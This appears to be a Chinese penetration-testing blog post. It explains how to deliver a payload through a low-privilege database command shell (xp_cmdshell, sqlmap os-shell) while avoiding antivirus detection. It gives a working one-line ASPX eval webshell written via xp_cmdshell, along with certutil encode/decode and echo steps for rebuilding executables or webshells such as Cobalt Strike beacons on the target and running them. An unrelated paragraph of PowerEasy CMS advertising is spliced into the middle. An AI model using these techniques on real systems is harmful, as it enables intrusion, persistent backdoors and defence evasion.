不知道各位小伙伴在渗透中是否遇见过这个问题:
虽然有低权限命令shell,如mssql、postgres等,执行下载总是各种无权限或者被AV杀,轻则无法继续渗透,重则弹出拦截消息,管理员上机后立马发现。
本文将介绍一种使用windows自带工具进行编码,写入编码数据到TXT文本最后再解码的骚操作。
话不多说,例如这样场景:
在数据库连接后或者sqlmap注入连接os-shell后可执行命令:

其中包括杀软或某狗、某盾:

此时下载文件的各种命令均被拦截:
bitsadmin:

certutil证书:

还会被杀软报警:

powershell也会被彻底封杀:

尤其是某管家,拦截更彻底,根本没有倒计时自动消失(此时需要夸一下某大厂的报警提示倒计时功能)

而在这种环境下可在有权限写入的前提下尝试写入一句话木马:
代码语言:javascript代码运行次数:0运行复制xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'
但也存在被某狗、WAF杀掉的可能。
将产品展示、购物管理、资金管理等功能相结合,并提供了简易的操作、丰富的功能和完善的权限管理,为用户提供了一个低成本、高效率的网上商城建设方案包含PowerEasy CMS普及版,主要功能模块:文章频道、下载频道、图片频道、留言频道、采集管理、商城模块、商城日常操作模块500个订单限制(超出限制后只能查看和删除,不能进行其他处理) 无订单处理权限分配功能(只有超级管理员才能处理订单)
此时,骚操作上场,windows自带的证书下载,也就是上文使用但远程下载被拦截的Certutil,还可用来对文件编码解码:
本地:
代码语言:javascript代码运行次数:0运行复制Certutil -encode artifact.txt artifact.exe
或指定路径:
代码语言:javascript代码运行次数:0运行复制Certutil -encode d:\artifact.txt d:\artifact.exe

将txt文本使用echo命令:
代码语言:javascript代码运行次数:0运行复制echo sfAFASFAsfasgasdf………>>d:\1.txt
写入服务器后,进入txt所在目录执行解码(或直接指定物理目录文件):
代码语言:javascript代码运行次数:0运行复制Certutil -decode art.txt art.exe或:Certutil -decode d:\art.txt d:\art.exe

后续可在命令中执行exe上线:
代码语言:javascript代码运行次数:0运行复制cmd.exe /c art.exe
重点是:本地解码编码操作不会触发杀软拦截行为!此外,Certutil支持将任意文件编码解码,除了exe还有aspx、php、jsp等(如加密免杀的webshell,此处使用哥斯拉为例):

可在web站点写入文件后访问txt查看写入有无偏差:

还有一点,本人亲测,编码后txt中的文本类似于生成的shellcode,会自动换行显示,但本地替换换行符、自行拆分换行符,不改变内容的前提下,编码、解码前后的文件不会有任何影响。
但是在navicat等数据库软件里操作的话还有一个限制,echo的长度会提示不要过长:

此时就要看各位师傅们在bypass WaF、AV时如何减小体量了,一般cs的马bypass后会在50k左右,使用sqlmap的—os-shell执行echo不会像navicat要求128字符那么短,但也有长度限制,具体各位可亲测。










